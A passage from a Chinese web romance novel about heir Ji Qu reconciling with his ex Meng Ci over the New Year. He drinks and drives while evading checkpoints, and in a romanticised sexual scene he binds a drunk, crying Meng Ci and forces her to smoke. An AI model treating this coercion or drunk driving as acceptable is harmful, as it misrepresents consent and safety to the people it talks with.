说季曲这么多年在外面都学了些什么混账做法,这样做不仅对孟慈不负责,对未来的结婚对象更不负责。 真心可贵。 可惜的是季曲当时还不太明白这点。 只觉得华婉不同意自己的最优解法,便撂下一句要么听我的,要么就这么破罐子破摔,明天就带着孟慈全球飞,保准华婉找不到人。 其实不过是母子间的拌嘴,因为季曲知道华婉硬拗是拗不过自己的,而且华婉更不可能放自己周游世界。 公司那么大的摊子总不能撂下不管。 不知道怎么这事传出去就变成季曲为了自己的小情人拒绝家里的相亲安排,和华婉撂了摊子,事业也不干了,公司也不要了。 安娜知道的,就是最后流传出去的版本。 对她们这种人来说,违抗父母命令,置家族兴亡不顾,就是最大逆不道的事。 “慈慈?慈慈你听我说了吗?” 安娜见孟慈的思绪有些飘远,着急上手摇人胳膊。 “…嗯,听着呢。” “所以我说你要不要考虑一下?” “你怎么突然帮季曲说话?” 安娜被问的一愣,然后讪讪一笑,“没有吧,我这不就是看到我哥和我嫂子,有感而发嘛~” “就是孟慈,你得给人一次机会,是人都会犯错对吧。”赵一辰不知道什么时候也凑了过来,此刻正趴在两人沙发靠背上,笑眯眯地帮腔。 “你们养过狗吗?” “当然啦慈慈,你忘了我家有一只超级聪明的金毛……” “你知道狗会吃屎吗?” “那我可太清楚了,我们家的吃一次我就骂它一次,然后按着它洗嘴……” “所以啊宝贝。”孟慈笑,“狗啊,是改不了吃屎的。” 这话一出,三人不约而同的安静下来,因此,赵一辰手机上传来的通话中止的提示声更加明显。 孟慈和安娜转头看向赵一辰手里捏着的手机界面,备注是两个大字。 【季曲】 第23章 第23章“狗来咬你。”…… 季亮鸿前段时间身体转好不少,再加上惦记着自己种的花,便搬回胡同的老院子。 三十一号晚上在酒店吃完饭后亲戚们自然四散,季亮鸿带着一家人回了自己的家。 季澈带着季欢倾去院子里玩雪,剩余的家眷们坐在客厅话家常。 “陪我下把棋?你妈的补汤还得好久。” 季亮鸿看着客厅里的人们,多少有些烦躁,人老了就是喜欢清静。 季亮鸿的书房在客厅旁边,季曲推着轮椅路过众人,把季亮鸿安顿在蒲团上坐稳后又返回客厅拿了两杯茶。 “太晚了吧,爷爷喝了会不会睡不着?” 薄盈姗看着季曲的动作阻拦道:“我们煮点麦茶,再加点红枣,一会儿给你们送进去?” “也好,那就麻烦嫂子了。” 季曲点头,空手而归。 书房里季鸿亮已经拿着自己轮椅扶手上挂着的保温杯吹着热气喝了几口,看到季曲进来刚好放下。 “我还是喜欢喝白水,解渴。”季亮鸿笑笑,问季曲要下象棋还是围棋。 “都可以爷爷,嫂子煮了麦茶,对控制血糖有好处,一会儿送进来。”季曲在季亮鸿对面落座。 季亮鸿看着面前的棋盒苦思,最后还是季曲说时间还多,可以每种都下个几盘才解开锁着的眉头。 书房的地控温度调得刚好,不至于热到人晕头转向无法思考,也没冷到人缩手缩脚心思乱飞。 季亮鸿棋艺不算太高超,季曲下棋时多番思量,自己家玩,开心尽兴就好。 也因此季鸿亮空了不少心思还能和季曲聊天,一会儿问工作,一会儿问身体 ,不知不觉间手里已经过了三五盘。 刚准备换象棋,季欢倾就端着小托盘晃晃悠悠地从门口走了进来/ 季曲连忙走近去接。 季亮鸿看到小孙女直接笑弯了眼。 把季欢倾抱到腿上,小小的一只身上还有些凉气。 季曲摸了摸小姑娘的脸蛋儿和手,一看就是刚从外面玩儿回来。 “爷爷喝茶。” 季欢倾小脸红扑扑的,发丝上还有未消的雪粒,季曲拿着纸巾一点点清理。 看着细心妥帖的季曲,季鸿亮不免出言询问。 毕竟季曲和沈家那小姑娘的婚事是自己一力牵头的。 虽然没成,但也不免有几分对季曲不住。 季亮鸿吹了一口麦茶:“最近没动静?听你妈说要给你介绍。” 季曲正在给季欢倾重新编散乱的辫子:“嗯,听我妈的吧。” “沈家那小姑娘的事儿……” “我已经安顿人帮忙打点了,您放心。” 季鸿亮和沈棠溪的爷爷是老战友的事季曲心里门清,。 轻时候两人一块打过枪挨过子弹,沈家老爷子的腿脚始终不方便行走也是因为给季鸿亮挡过一枪。 也因此季曲私下悄悄找人帮忙多方照看着沈棠溪一家。 新年一过沈老爷子遗嘱就会面世,沈棠溪一家得到的只多不少。 “那爷爷就谢谢你了,现在我老了,这些事也插不上手了。” “您哪里的话,咱们季家能发展到现在不都是靠您。” 季鸿亮摆手,说都是列祖列宗们积累下的,自己只是接着,没什么奉献付出。 话说到这儿,又不免安顿季曲,季家走到现在不容易,季曲这一辈儿更要时刻注意分寸、谨言慎行,不能砸了季家的招牌,更不能断了季家的香火。 接下来又是老生常谈。 季曲听到耳朵都长茧,仍是面上不显低眉顺眼地听着。 “差不多也该订下啦,爷爷也不知道还能不能看到你媳妇,咱们墙上的全家福也该换换了。”季曲看向书房墙上挂着的照片,还是季凝欢出生那年拍的。 照片里的大家都成双成对,只有季曲和季鸿亮是落单的,也因此一般留给小朋友的位置变成了季曲专属。 他穿着笔挺的西装外套,却极为乖巧地盘腿坐在季鸿亮脚下。 这张不算正经的全家福被季鸿亮单独洗出来挂在书房。 每个人都脱下珠光宝气,脸上笑出几分真心。 补汤炖好了,华婉一间屋子挨着一间屋子叫人,大家排排坐,人手一碗。 季曲端着碗喝了几口,觉得有些腻,便放下碗偷跑出屋子。 坐在亭子里,季曲的手机上全部是朋友的消息,不是叫他打牌就是叫他喝酒。 略过这些,季曲点开朋友圈,上下翻看。 安娜的朋友圈永远是九宫格,多到放不下的有趣生活。 点开放大。 孟慈安静地坐在人群中间,被安娜搂在怀里。 昏暗的灯光照不清人的五官,只能看到出落的傲人的骨相。 长按保存到相册。 季曲的相册里没什么照片。 他平时拍照少,仅有几张全家福,其余全是工作内容。 翻来翻去,食指一划就是五年十年,没什么意思。 又回到聊天软件,季曲点开自己的朋友圈,往下滑,找到了仅自己可见的内容。 那年安翰生日,何冉邀请了一众朋友,还安排了圈内出名的摄影师到场记录。 在室外的场地,大家站在蛋糕前和寿星合影。 何冉还安排了额外赠送的照片,受邀出席的人们都有。 那天季曲喝得有点高,刚谈下了大项目,又和孟慈谈得蜜里调油,正是春风得意,揽着人站在海棠树下拍了一张。 枝间新绿,小蕾藏胭。 孟慈笑着倚在季曲怀里,眉眼弯弯,佳人难得。 双指滑动放大孟慈的脸。 季曲没注意到季欢倾什么时候已经站到自己身边,探个头眨巴着大眼看。 “小苏你在看谁啊?”季欢倾还小,还有些咬不清字。 被季欢倾唤回现实,季曲偏头,毫不吝啬地把手机放在季欢倾面前,任她打量。 季曲的语气间有些炫耀意味:“漂亮吗?” 季欢倾仔仔细细地看了一会儿,才认真道:“好漂酿!” 小孩子没有弯绕心思,说一就是一,说二就是二。 “和刚刚你奶奶给你们看的,哪个漂亮?” 季曲放慢语速,把季欢倾抱到怀里,再用自己的衣服裹紧。 不久前,华婉在客厅拿着手机给众人相看薄盈姗新收的博士生。一副俨然已经是自己儿媳妇的模样。 “嗯……都好看。”季欢倾绷着小脸思考了好一会儿才回答。 “那让这个阿姨当你小婶怎么样?”季曲捏捏季欢倾头上的小辫子。 “我不几道。”季欢倾摇头。 “为什么?”季曲高估了三岁小孩的智商。 季欢倾想了想不知道怎么回答,只觉得小叔今天奇怪,干脆从季曲的怀里跳出来,说奶奶叫她回去,就甩着小辫子晃晃悠悠地跑了。 屋子里人声喧闹,逢年过节常见的节目轮番上演。 季曲看着就头疼,忽略华婉警告的眼神,起身出了院,找到自己的车子开锁上车。 他从前面探了包还没开封的烟,撕开塑封倒一根出来,叼在唇间点燃火。 打开车窗的一道小缝,季曲放松地靠在椅背上休息。 最近一段时间,季曲总在空闲时间思考自己对孟慈的感情,到底是真心的放不下舍不得还是荷尔蒙作祟。 为了验证自己的猜想,季曲还在胡志带着袁晶来古城时把人留在了身边。 每天忙完回到酒店看着与孟慈形似几分的人,季曲不免出神。 袁晶知道这是自己为数不多的机会,人不为己天诛地灭,只要能搭上这艘大船,就是好的。 也不是没谈过恋爱,袁晶自然知道男人想要什么。 但是一连钓了季曲几天,也没等到他主动,因此,袁晶只能上些手段。 胡志和她打好配合,在酒桌上把季曲灌醉,深夜她在胡志的帮忙下扶着人回房。 把季曲放在沙发上躺平,袁晶去打湿毛巾帮季曲擦脸,刚解开两颗衬衫纽扣,季曲便转醒。 对上季曲不算烂醉的眼,袁晶便心下了然,这人刚刚在酒桌上应该装了一手。 沉了沉心思,袁晶继续擦拭的动作。 从脸颊到喉结,从锁骨到胸膛,沿着紧致的肌肉轮廓一路往下,直到遇见冰凉的腰带扣。 抬眼看了看季曲的表情,一贯的平淡漠然。 咬着下唇,袁晶放下毛巾去解季曲的腰带。 啪嗒一声,禁锢松了。 袁晶颤颤巍巍地伸手往里摸,还没等挑开那层包裹的布料,就被人掐着手腕喊了停。 不解地看向季曲,袁晶只换来一句出去吧,这儿不需要她。 不能功亏一篑,袁晶这么想着,逼自己流出两滴泪。 季曲喜欢看自己的眼睛,从第一次见面袁晶就知道。 果然,没盯一会儿季曲就先松口,说回了北市再说吧,他最近忙,没这些心思。 袁晶得了话才装作委屈求全地离开,眼眶在房门关上的那一刻便干涸,她转去前台让给季曲的房间送些醒酒药和蜂蜜水,然后才回了自己的屋子。 回忆到这儿,季曲的烟已经抽完了,又续了一根。 他得出结论,不是单纯的头脑发热。 这又不是暮春时分,动物都还没发情。 那原因只能归结为舍不得放不下。 季曲脑海里浮现孟慈的脸,五官越来越清楚。 借着饭桌上喝的二两高粱酒,季曲拨通了孟慈的电话。 “您拨打的电话正在通话中……” 自己还在黑名单里。 季曲转手又拨给安娜,长久的滴滴声后是“您拨打的电话暂时无人接听”的机械音。 手机在手里转了一圈,又拨给赵一辰,这次终于有人接了。 听着安娜那些添油加醋的传言,就连季曲这个当事人也不免耳畔一红。 当时只不过是摸得准公司的事离不开自己的手,华婉也不能狠心把自己亲儿子逼跑。 即使知道这话百分百不可能打动孟慈,季曲还是燃了丝希望在心间。 万一孟慈出去读了两年书傻了呢,洋墨水也不一定都是精华。 但是,孟慈一贯地精明,她自然不会被这些雕虫小技骗过去。 还没等季曲感到可惜,紧接着就听到孟慈轻飘飘地来了句狗改不了吃屎。 原本听到这句的时候还没反应过来,直到烟灰落到手臂上被烫了下,季曲才后知后觉地气到发笑,说自己是狗? 真是白费这么多心思。 孟慈这个人最大的特点就是嘴硬,名字里的“慈”字大约是父母预见她长大会变成这副软硬不吃的性子而定下的。 但是美好的期望落了空。 从后座出来换到驾驶座,季曲从市中心往郊区开,晚餐间少不得沾了些酒,一路还得避开查验和封禁的路段,用了一个多小时,离零点还差二十分钟,季曲终于推开了包厢的大门。 不少人听到动静看过来,安翰还没来得及和季曲打招呼就看到人已经气冲冲地走到沙发旁一把把孟慈薅了起来。 在看清孟慈的那一刻,季曲因为持续气愤状态而快跳的心率更是飙升,在胸腔里震如鼓擂。 在对视的那几秒里,季曲突然觉得自己又鲜活起来。 仿佛回到十八岁那年背着父母开着改装的赛车飞驰在蜿蜒曲折的山路上,面前是充满挑战的路和充满诱惑的终点。 孟慈抬头看季曲,神色镇定,看不出紧张或者慌乱,她问:“你怎么来了?” 季曲毫不犹豫地低头咬住孟慈的唇:“狗来咬你。” 第24章 第24章上供 在周围众人为自己看到的画面处在震惊中合不拢嘴的时候,季曲已经拉着孟慈出了包厢。 穿过昏暗的走廊,踩过柔软的地毯,季曲推开步梯间的门把孟慈按在冰冷的墙上,右手拢着孟慈的后脑勺,乌黑的发从指间溢出。 借着低处的安全指示灯,季曲看清孟慈下唇的牙印。 还没等孟慈反应过来,季曲又低头落下迫切的吻。 酒精把人的感官知觉拉缓放大。 孟慈感受到季曲随着呼吸加重的动作,不满足于唇的纠缠,季曲探入舌尖,吸取孟慈口腔里残存的金汤力。 氧气、力气,通通以嘴为出口被季曲摄尽。 孟慈的双腿发软,全凭季曲放在自己腰间的手掌为支撑。 季曲知道孟慈的所有敏感地带。 再加上他有意挑逗,对立的生理构造决定了孟慈逐渐化冰成水,咬住孟慈的耳垂,用牙重重地磨几下,再沿着优美的脖颈线向下啄吻。 孟慈今天穿着皮质短裙,同材质的长靴到膝盖之上便消失。 露在外面的皮肤,被季曲握住反复磨挲,像是起了火,火舌叫嚣着席卷过每一寸,再留下红印。 “吱——”的一声,空荡的步梯间出现除沉重呼吸之外的动静。 高跟鞋无序地敲在坚硬地面发出混乱声响,与之而来的是听得人脸发红的暧昧对话。 孟慈起初被近在耳畔的声音吓得一缩。 季曲分出一只手去拍孟慈的背,轻轻安抚,又从孟慈的胸前抬起头吻上略微红肿的嘴唇。 刚探入舌尖就被孟慈实打实地咬了个准,季曲吃痛后退,又被狠狠地掐了一把腰侧。 把季曲往后一推,孟慈立马从缝隙里溜走,摸索到门把手开门离开。 还没等走出几步,又被季曲扯住手腕,回头对上季曲,却不想对方用更气愤的眼神看着自己。 一直到被按在副驾驶,孟慈都没想到自己是哪里踩了旁边这位爷的雷区。 不就在背后说了句狗改不了吃屎,但是她也没指名道姓谁是狗。 季曲非要自己对号入座,怪谁? 这么想着,孟慈的底气足了些,刚侧过脸准备出言争个高低,就被季曲甩过来的眼刀封了嘴。 季曲本身就不是什么好脾气的人,甚至算得上睚眦必报。 只不过对孟慈始终没展露这些。 偶尔一见,孟慈也被吓住,乖乖地坐正身体噤了声。 快到零点又是在郊区,季曲的车速逐渐加快,孟慈下意识地双手握紧安全带,脸色开始泛白。 季曲不知道陷入什么情绪,自顾自地在盘山公路上发泄起来。 孟慈被一连几个弯道甩得头昏,再加上本就喝了酒,在不适感逐渐强烈时伸手碰了碰季曲的胳膊。 “季曲,我难受。” “能不能慢点?” 压抑的车内被孟慈撕开一道口子,情绪钻出去,氧气钻进来,孟慈得到解救。 季曲用余光扫到孟慈苍白难看的脸色,终于压下心间的情绪。 车速放慢,而后行致宽敞的大路旁停下。 把孟慈锁在车上,季曲从后备箱取了瓶水从半开的车窗递给孟慈。 然后便站在路边背对着车一次次地点燃火机,发泄似的一根接着一根抽,直到孟慈开口叫他。 孟慈的声音被寒风送到季曲耳畔,她念着他的名字,像妖精冲着无辜路人施咒。 季曲不应,孟慈就反复地念,一连数次,季曲终于投降,回头对上施咒者的眼。 她双手扒在车窗上,一双黑眸要眨不眨地盯着他看,还泛着红肿的唇微启。 季曲真的碰到了吃人的妖精。 下车下得急,季曲没穿外套,只套着单薄的黑色绒衫,头发被风吹得失去造型,通通往后倒。 他靠在护栏上,脚边落了数不清的烟头。 就在季曲想开口时,身后突然亮了一瞬,相伴而来的是巨大的炸裂声。 城市禁烟花,城郊暂逃一劫。 一时间,无数的烟花腾空而起,连季曲的发丝都穿过光亮。 孟慈的脸被染上无尽绚烂的颜色,映在她漆黑的瞳孔。 季曲没回头看,在孟慈的脸上,他能看到一切。 “孟慈,我没对不起你。” “我是没想过和你结婚,但是和你在一起的每时每刻,我都没想过别人。” “你说我放荡不羁我认,你说我顽劣不堪我认,你说我奢靡无度我认,你说我什么我都认。” “你爸的事和我没关系,你我没帮上,薄家也不用我帮。” “但是孟慈,你唯独不能说我对不起你。” 季曲在来找孟慈的路上想了很多。 包括两个人走到现在这一步的所有原因,一点一点梳理,发现所有事物崩盘的开端就是乌龙。 自己和薄娴的关系,完全可以解释,如果孟慈不离开,那么孟擎手术的事一定不会发生。 就照着他对孟慈的上心程度,随着时间流逝,感情只会深不会浅。 季曲赌着和薄娴撕破脸、和嫂子撕破脸、和薄家撕破脸,拼着命也会给孟擎留住那颗肾。 所以,事到如此,不能只怪季曲一个人。 炸裂声大,季曲的声音更大。 孟慈听完全部,她面无表情地指了指车门。 季曲瞬间会意,他咬着牙问:“孟慈,你还是要走?” 孟慈没回答,只是指着车门。 深呼吸逼下心底泛起的怒气,季曲飞快地按下开锁键利落转身。 烟火还在上升,空气里的硝烟味甚至抵不过季曲身体里的躁。 “咔哒”一声,孟慈下了车。 在没有规律的安静间隙,季曲听到孟慈走路的声音。 为了掩盖,他从烟盒里倒出最后一根烟叼在嘴里,用手拢着点火,风却越吹越大。 六位数的打火机没有防风功能。 季曲暗啐一句,右手捏着火机甩,还没等甩个几下,突然被握住。 感受着不属于自己的温度,季曲侧过头,孟慈伸手抽出季曲唇间的烟草收回烟盒。 在季曲陷入呆滞的 同时,孟慈伸出双手捧住季曲失去温度的脸踮起脚尖吻上去。 含着同样失去温度的双唇,孟慈微颤的睫毛扫到季曲的脸。 她退开一些,皱眉说,“以后能不能少抽点烟。” 然后又吻上去,失去重心的身体在空中打滑。 季曲下意识地伸手拢住孟慈,然后转位主动,几乎是用撕咬的方式来回应孟慈突如其来的慈悲。 夜亮如白昼,烟火落在两人身上。 妖精啊,不用费心下咒,我自愿上供,我的命你拿去吧- 那晚之后,孟慈和季曲默契地忽略从前不提。 像是水生植物,不需要培育发芽的土壤,只要有太阳光照就能维持生命。 反正来日方长。 元旦起来就是春节。 季曲的应酬成倍增加,一周有六天都在酒桌上,剩下的一天留给孟慈。 就连华婉想见季曲都得提前半个月排号。 虽然季曲那晚只把人送回家便被下了逐客令,但是架不住孟慈对自己的态度好了少。 联系方式通通加回来不说,偶尔还能得到几句话儿。 这对季曲来说已经是不小的进步。 今天是安翰的局,熟人多,不用拿出非要喝倒的劲儿,喝好足够。 季曲坐在安翰的左手位,没抢主人的风头。 他和孟慈和好的事儿传了不少话头出去。 但是毕竟还没好透,又怕华婉出手干预,所以逢人问起就模棱两可的应付过去。 一时间大家也不知道这两位到底是什么进度。 “孟总就在二楼的包厢,要不要过去打个招呼?”席间有人挑起话头,等待季曲的反应。 “随便。”季曲抱着手机不知道在干什么,就是手指翻飞地快。 安翰瞄了一眼,怪不得随便呢,正和人聊着呢。 用胳膊磕磕季曲,“怎么?还没追上?” “快了。”季曲笑着收起手机,端起桌上的酒杯提了一次,大家自然跟着饮尽。 季曲又开口:“你呢?日子定好没?” 安翰拿出手机日历,给季曲指,“家里看了几个好的,我打算让她和她爸妈定。” “这么孝顺?” “毕竟把人家老两口宝贝养了二十多年的女儿娶回我家。” 季曲点头,拿着酒杯冲安翰倾斜。 安翰笑着受了,又回敬一杯。 饭局差不多结束,季曲没跟下一场。 安翰本来也想回家陪何冉,但是奈何今天他做东,总不能扔下这一大家子人跑了,只能作罢。 季曲坐在一楼大厅的休息区,本想掏出烟盒借着尼古丁醒醒酒,又想到一会儿见到孟慈不免又被推远,便卸了心思。 招手叫服务生要了除味喷雾,想把自己身上的烟酒味盖一盖。 但是晚上这群人就好像烟瘾中毒一样,导致季曲用了大半瓶都没成功。 抬起袖口嗅嗅,季曲干脆脱了外套。 反正一会儿直接上车离开,不会冷到。 拿出手机给孟慈又发了几条消息,等不到回应,又坐着等了一会儿,抬腕看表已经十二点,转场也该离开了,季曲准备到包厢去找人。 刚站起来就看到方萤扶着喝了不少的孟慈从电梯下来。 三步并作两步地走上前把人接过来,季曲冷声问方萤人怎么喝成这样。 “其实今天喝得不算多,但是她今天白天一直忙没吃什么东西,晚上过来之后就直接开始喝,所以才醉了。” 方萤解释着,眼看着季曲的脸越来越难看。 孟慈摆摆手,说自己没事,让方萤赶紧回家,知道今天逃不了酒局,司机一早就备好了,此时刚好送方萤离开。 季曲的司机也在门口等着,看到老板出门急忙下车来迎。 方萤目送季曲的车消失在路口后才转身上了自家的车,想起刚刚季曲越来越冷的神色,不由自主地替孟慈捏了把冷汗。 孟慈在车上一动不动,头靠在车玻璃上,冰凉的温度暂时压制住因被酒点燃的体温。 季曲坐在旁边,闻着孟慈身上比自己还重的烟酒味止不住地烦躁。 车子走走停停,孟慈的头也跟着晃,偶尔还会磕在车窗。 季曲在孟慈的头第三次磕上去的同时,冷着脸把人搂过来放在怀里。 还没靠热,孟慈便皱眉不满,控诉季曲身上的烟味难闻刺鼻,挣扎着要离开。 “到底谁身上的烟味重啊?”季曲更加不满,把人硬生生地按在怀里。 “当然是你啊。”孟慈挣扎了几下无果,便不动了。 季曲低头去闻,孟慈的唇间也有极淡的烟草味,顿时火上心头。 “不让我抽你怎么还抽?” “抽什么?”孟慈下意识地反驳。 从孟慈的手袋里翻出还剩半包的细烟,季曲递在孟慈眼前。 强睁开眼,孟慈平淡道:“怎么了?” 季曲把烟盒扔回包里:“麻烦孟总一视同仁。” 其实不是季曲非要管着孟慈。 但是分开这两年,孟慈确实多了很多不好的坏习惯,总归对她身体不好。 “我又没管着你季总。”孟慈抬手覆在自己的太阳穴上敲了几下,“你也别管我。” 剩余的路程,孟慈又回到老位置,车玻璃依旧冰冷。 季曲按下车窗把萦绕在鼻尖的烟酒味赶出去,扭过头看向窗外,眼不见心不烦。 第25章 第25章“乖,咬住。” 到家时孟慈已经陷入睡眠,季曲抱着人下车进家。 没送孟慈回她自己那儿,因为季曲一早要赶早班机。 孟慈那套房子偏市中心,机场在城郊。 季曲这套别墅是去年购置的,好就好在离机场近,赶航班方便。 而且,家里人也不知道这套房子的位置。 季曲把孟慈放在沙发上,孟慈刚好醒来。 孟慈撑开眼皮:“到家了?” 季曲随意答了句嗯。 季曲脱了外套扔在沙发背上,又解了冰凉的腕表。 孟慈看看周围,说不是她家。 “我一早的航班,有点来不及。” “关我什么事?” 孟慈不悦,她明天没其他安排,本想回家简单洗漱后懒懒地睡一觉。 这也是今天喝得多了些的原因。 “不关你什么事。”季曲把腕表放在茶几上,发出磕碰声,“要洗澡吗?” “不要。”孟慈想回家,胳膊撑在沙发上努力起身。 季曲居高临下地站在孟慈面前,解开衬衣顶端的纽扣,左右抻抻脖子。 季曲:“能戒烟吗?” 孟慈:“你管我。” 季曲不在意孟慈的回答,自顾自道:“酒也少喝点。” 孟慈皱眉:“你好烦。” 孟慈刚想起身就被季曲按着肩膀坐回沙发。 他的力气很大,孟慈落下后还回弹几下,原本就沉重的脑子晃地更晕。 从孟慈的手包拿出烟盒,季曲抽了支烟递在孟慈嘴边。 “咬住。” “你有病啊……唔……” 话还没说完就被季曲堵住,他俯身压下来,锢住孟慈的两只手腕置于头顶,霸道地掠夺孟慈口腔里残余的空气。 没给人留换气的当口,季曲堵着人亲,几乎要把人抵进沙发,直到孟慈呼吸困难到嗓间发出呜咽,季曲才停。 “咬住。” “季曲你唔……” 窒息感再次来临,孟慈难受到眼角洇出泪花。 在落泪前夕,季曲会意似的拉开距离。 “乖,咬住。”季曲嗓音低沉。 孟慈看着季曲,没半分可商量的模样,只能喘着气微微张嘴,用牙齿咬住。 季曲慢条斯理地点火燃烟:“吸。” 细烟袅袅,挡在两人中间,模糊了对方的表情。 季曲凑近闻闻,不满地一声啧,把烟抽出来,又换上自己平时习惯的。 期 间孟慈挣开季曲的手想跑,却被季曲拦腰捉了回来。 从一旁拿起领带一圈圈地系在孟慈双腕,把人制死。 “咬着。”季曲又在孟慈的嘴边举起一支新的。 孟慈不张嘴,紧咬着下唇,直至泛白。 见状,季曲反手自己点燃烟,吸了一口含在嘴里堵着孟慈亲。 烟雾渡进孟慈的口腔,一路游荡至肺,劲儿比孟慈平时抽的不知道大了多少。 烟雾散尽,季曲又勾着孟慈的舌头吸了一会儿。 结束时趁着孟慈还没来得及闭嘴的空档把烟嘴塞了进去。 一时间孟慈被呛得气管都疼,咳了几声,烟灰在空中打颤,不知道什么时候就会掉下来。 “抽吧。”季曲大发慈悲似的,诱人深入禁林腹地。 孟慈摇头,季曲视而不见,用指背抚去孟慈眼角泫然欲滴的泪,埋头于自己的要紧事。 由于今天是商务宴请,孟慈穿的还算正式。 合身的丝质衬衣,长到小腿的包臀裙。 季曲三两下便解完纽扣,衣襟柔顺地搭在两边,露出一道深壑。 深深地看了一眼。 季曲的鼻尖沿着孟慈的下巴往下滑,沿着沟壑起伏。 滚烫的呼吸沿路喷洒,惹得孟慈浑身一震起了鸡皮疙瘩。 想要阻止,偏偏双手又被束缚。 孟慈蹬了蹬双腿,高跟鞋尖勾在季曲小腿上。 季曲抬头。 孟慈眉心微簇,红着脸品着力度轻轻摇头。 烟灰这个时候掉的话只能掉在自己身上,眼里盛满的求饶意味不言而喻。 “不好抽?怎么下得这么慢?”季曲看了眼烟身燃烧的长度,做作地皱眉,把烟换到自己的嘴里吸了两口,“这不是挺好的?” 孟慈得到短暂自由,连忙说软话:“我以后戒了还不行吗?” 季曲装作不解:“为什么啊?挺好的戒什么。” “吸烟有害健康,盒子上都写了。” “哪儿啊?”季曲反手在茶几上探过烟盒,煞有其事地仔细翻看。 “我错了,我以后也尽量少喝酒。”孟慈尽力把语调揉软。 “真的?” “真的,我发誓。” 季曲收回目光,把烟盒扔回原处,顺便磕掉多余的烟灰,眼疾手快地趁孟慈再开口的时候把烟塞回原处。 孟慈脾气硬,第一次拿不下以后就再甭想了。 不管这次之后孟慈怎么生气,自己得怎么哄,季曲都认了。 毕竟烟酒真算不得什么好东西。 拉开孟慈腰侧的拉链,往上推。 碰到阻力,就勾住孟慈的膝盖窝把人往上一举,薄软的布料轻而易举地堆叠在一起。 为了避免孟慈心一狠松开嘴任由烟头掉在自己后脑勺,季曲把人往外拖了拖。 受力点落在沙发边缘,后腰支在虚空,上半部分的背靠在沙发上。 孟慈彻底失去重心。 季曲面对孟慈坐在茶几上,慢条斯理地伸手顺着肌肉走向前进,隔着光滑的丝质品,季曲的手捏到哪儿哪儿的肌肉就变得紧绷。 滑到布料重叠最多的部分,反复。 直面孟慈逐渐崩坏的面容,季曲始终绷着脸一言不发。 季曲指上的温度像是刚刚席间的温热清酒。 却没有杯身的坚硬,柔软的像水。 像窗外露着半张脸的冷月。 隔着丝挑布。 季曲观察着孟慈脸上的神色,一直到她的眼眶兜不住泪,牙齿咬不住烟的时候才手疾眼快地把烟接住。 季曲把剩余的烟两口抽完,捻灭在茶几表面,再看向断断续续地抽噎着的孟慈,叹了口气。 伸出双臂把人抱进怀里放在腿上,探过刚刚扔在一旁的外套裹在孟慈身上,一下一下地帮孟慈顺气。 好久不见孟慈这么哭过,眼泪像断了线的珍珠,比她脖颈上挂着的那根还要圆润。 季曲一时间后悔自己是不是把人欺负的狠了。 想把人从怀里拉出来看看,却被孟慈紧紧地勾住脖颈,脸埋在自己肩膀,死活不松。 惹哭了还得自己哄,季曲认命般得开口:“不哭了好不好?” 孟慈愈发委屈:“我都……我都说了戒烟了。” “我之前也说了,你不是也不信。” “那不一样。” 孟慈说着说着又开始委屈,原本还理直气壮的语调霎时间打了个弯,再次被咸涩的眼泪泡软。 季曲连忙哄道:“好好好,不一样不一样。” “我做的太过分了是不是?” “但是你说你身上带着那么多烟酒味回来,给你发消息你也不回,是个人就着急不是?” 孟慈没忍住回嘴:“你之前……” “我之前可没这样,我哪敢不回您信息,我哪次局上没给你报备?回了家第一件事不就是洗澡?熏着你我半个月上不了你的床,近不了你的身。”季曲嘴快,再加上自己确实占理,几句话就把孟慈堵的严严实实毫无反击之力。 怀里的人安静了一会儿,然后支起头和自己面对面。 孟慈眼泪汪汪,嘴也瘪着,就这么直勾勾地看着季曲,没几秒就占了上风,季曲开始头疼。 “好好好祖宗我的错。” “给你买个包怎么样?听说最近出了不少新款。” “还是给你囤点金条?保险箱还能装下吗?再给你买一个保险箱怎么样?” 孟慈没反应,眼泪又簌簌滴往下掉,流的季曲的心都化了半块。 “……那个科研团队,下周一来领走。”季曲咬咬牙,亮出最后的筹码。 听到这儿,孟慈才慢吞吞地眨了眨眼:“真的?” “真的。” “今天周几?” 扫了眼墙上的表,早就过了十二点,季曲说周三,孟慈点头,但嘴上却说周四就要。 季曲无语,孟慈等不到回答眼泪又蓄势待发。 “行行行!”季曲连忙答应,“周四就去领!” 孟慈这才满意,酒劲也过去大半,总不能叫季曲白占便宜。 嗓子眼因为烟草和这半天的哭泣干地发毛,捂着嘴干咳了几下。 季曲连忙把人放在沙发上去冲蜂蜜水。 端着水杯回来,孟慈已经蜷在沙发角落里睡着了。 季曲看着孟慈的睡颜,心里某处沉了沉,整个胸腔被堵满。 不是吃撑后的满,而是经过苦求而得到心念之物的满。 第二天一早,孟慈醒来时身边空无一人,太阳穴隐隐作痛,是宿醉之后的老毛病,在床头探过手机,屏幕上多了一张便利贴。 【要是拉黑我或者不理我的话,团队随时收回。——季曲】 孟慈冷笑一声,撕了贴纸顺手扔在浴室的垃圾桶。 真是幼稚。 阿姨做了早饭放在餐桌上,孟慈没胃口,径直离开,季曲给孟慈留了车子和司机。 回到自己家舒舒服服地洗了澡点了助眠香薰,拉紧窗帘手机调至静音,孟慈踏踏实实地睡了一觉。 周四一早,孟慈就神采奕奕地带着方萤去接人。 季曲那边已经安顿妥当,孟慈简单地做了自我介绍,便顺利的把人接到自己的公司。 接下来的事自然由黄景峰处理,因为自己也要出个差。 — 安翰最近丢了不少项目给安娜练手。 明眼人都看得出来是为了孟慈,毕竟和孟慈关系近的人没几个,而孟慈又有季曲罩着,所以安娜的买卖只要能搭上孟慈的线可以说就是稳赚不赔。 “我可不是那种小人。”安娜架着硕大的墨镜坐在饭桌上义愤填膺地说,“慈慈,我什么时候利用过你!你说到底是谁嘴那么碎!千万别被我抓住!” 孟慈坐在安娜的对面,嘴角噙着笑,一副不甚在意的模样,一双明眸落在菜单上。 “淮扬狮子头怎么样?他家的招牌。” “可以。” 招手叫来服务生,孟慈只点了两蛊狮子头,其余的让他按照两人的份量配着上就可以。 抬手给安娜倒了杯茉莉花茶,让她降降火气。 安娜最近接了个零件项目。 老板是 南方人,谈起买卖精打细算,尤其在价格上,恨不得把浮动定在小数点后三位。 偏偏安娜又是典型的直性子,一来二去地打太极打得头苦,便拉着孟慈直接杀到上海,打算一锤子敲定买卖。 孟慈起初也疑惑,自己公司的项目谈判还多是黄景峰啃下来的,就算自己最近重新上手,但也难免生疏,安娜带自己来除了在人数上多一位之外没有任何用处。 “哎呀当然不是让你和我受苦去,是因为那边刚好有个品牌秀,我嫂子生日快到了,你陪我去挑挑。” 孟慈闲来无事,便也答应了。 安娜和对方约在下午三点,吃完午饭后安娜乘车离开。 孟慈回酒店休息了会儿看时间还早,便下楼在附近逛逛。 